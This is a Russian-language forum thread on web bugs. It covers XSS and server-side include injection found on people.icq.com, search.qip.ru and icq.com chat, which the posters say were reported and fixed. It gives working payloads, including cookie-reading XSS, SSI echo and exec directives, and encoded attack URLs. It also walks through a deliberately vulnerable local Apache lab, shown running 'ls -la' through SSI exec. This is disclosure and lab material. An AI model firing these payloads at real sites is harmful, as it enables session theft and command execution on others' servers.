Не так давно на сервере people.icq.com изменили форму отображения инфо о уине. Пример: Самая первая мысль, а что если в поле people.icq.com/people/<UIN>/ ввести что-то другое? Попробует выполнить скрипт <body onload=alert('XSS'): Так-так-так! XSS работает, значит можно воровать кукисы <body onload=alert(document.cookie)>: А может кто-то по ошибке забыл отключить Server Side Include (SSI)? Сервер пашет на nginx. На удачу составим запрос с отображением локального времени <!--#echo var="DATE_LOCAL" -->: Опачки! Работает! А адрес сервера покажет? А путь к корню? Так может и шелл можно залить <!--#exec cmd="<залить шелл>" --> ???... А это уже совсем другая история.... P.S. На момент написания статьи администрация ICQ уже была оповещена о данной уязвимости и залатала дырку. (с) alkos
Ну и в продолжении... Code: http://search.qip.ru/search/?query=\x3C\x2Fscript\x3E\x3Cscript\x3Ealert\x28document.domain\x29\x3C\x2Fscript\x3E http://search.qip.ru/search/?query=\x3C\x21--\x23echo+var\x3D\x22DOCUMENT_ROOT\x22+--\x3E 90 строка
Предполагаю, что такие вещи актуальны не только для XSS, но и SQL inj, когда результат запроса выводится на страницу, тоесть может быть нечто подобное SQL inj -> XXS(SIXSS) -> SSI. Только стоит сказать один важный момент, сам nginx хоть и имеет потдержку SSI, но он не умееет запускать внешнюю программу, в отличии от Apache(нагуглил gemaglabin). В Apache SSI реализован через модуль mod_include, но для работы exec cmd еще нужно mod_cgi или mod_cgid, а также отключенная директива IncludesNoExec, иначе в контенте на html страничке будет [an error occurred while processing this directive] и в лог ошибок(если включен) будет падать запись: AH01371: unknown directive "exec" in parsed doc. Code: sudo mkdir -p /srv/www/vuln_dev/public_html sudo mkdir /srv/www/vuln_dev/logs sudo chown $USER: -R /srv/www/vuln_dev/public_html sudo nano /etc/apache2/sites-available/vuln-dev.conf <VirtualHost *:80> ServerAdmin vuln@locahost ServerName vuln DocumentRoot /srv/www/vuln_dev/public_html <Directory /srv/www/vuln_dev/public_html/> AllowOverride All Require all granted </Directory> ErrorLog /srv/www/vuln_dev/logs/error.log LogLevel warn </VirtualHost> sudo a2ensite vuln-dev.conf sudo nano /etc/hosts 127.0.0.1 vuln sudo nano /etc/apache2/mods-available/userdir.conf #IncludesNoExec sudo a2enmod include sudo a2enmod cgi sudo service apache2 restart nano /srv/www/vuln_dev/public_html/.htaсcess Code: Options Includes AddType application/x-httpd-php .html AddOutputFilter INCLUDES .html nano /srv/www/vuln_dev/public_html/index.html HTML: <!DOCTYPE html> <html> <head> <title>Тест</title> <meta <meta charset="UTF-8"> </head> <body> <?=$_GET['t'];?> </body> </html> Запрос Code: <!--#exec cmd="ls -la" --> это %3C!--%23exec%20cmd%3D%22ls%22%20--%3E http://vuln/?t=%3C!--%23exec%20cmd%3D%22ls%20-la%22%20--%3E Ответ HTML: <!DOCTYPE html> <html> <head> <title>Тест</title> <meta <meta charset="UTF-8"> </head> <body> total 16 drwxr-xr-x 2 omen666 omen666 4096 May 28 04:26 . drwxr-xr-x 4 root root 4096 May 28 01:01 .. -rw-r--r-- 1 omen666 omen666 87 May 28 04:26 .htaccess -rw-r--r-- 1 omen666 omen666 138 May 28 03:53 index.html </body> </html> ps все пошла школота хекать )
В продолжение темы. Вместе с Stored XSS на icq.com/chat/* (пост) нашлась также и SSI Inj. Поскольку команда exec cmd не работала, выдавая упомянутое выше [an error occurred while processing this directive], то, по-видимому, залить шелл возможности не имелось. Fixed. <!--#echo var="DOCUMENT_ROOT" --> <!--#echo var="LOCAL TIME" --> <!--#echo var="HTTP_ACCEPT" --> <!--#echo var="HTTP_COOKIE" -->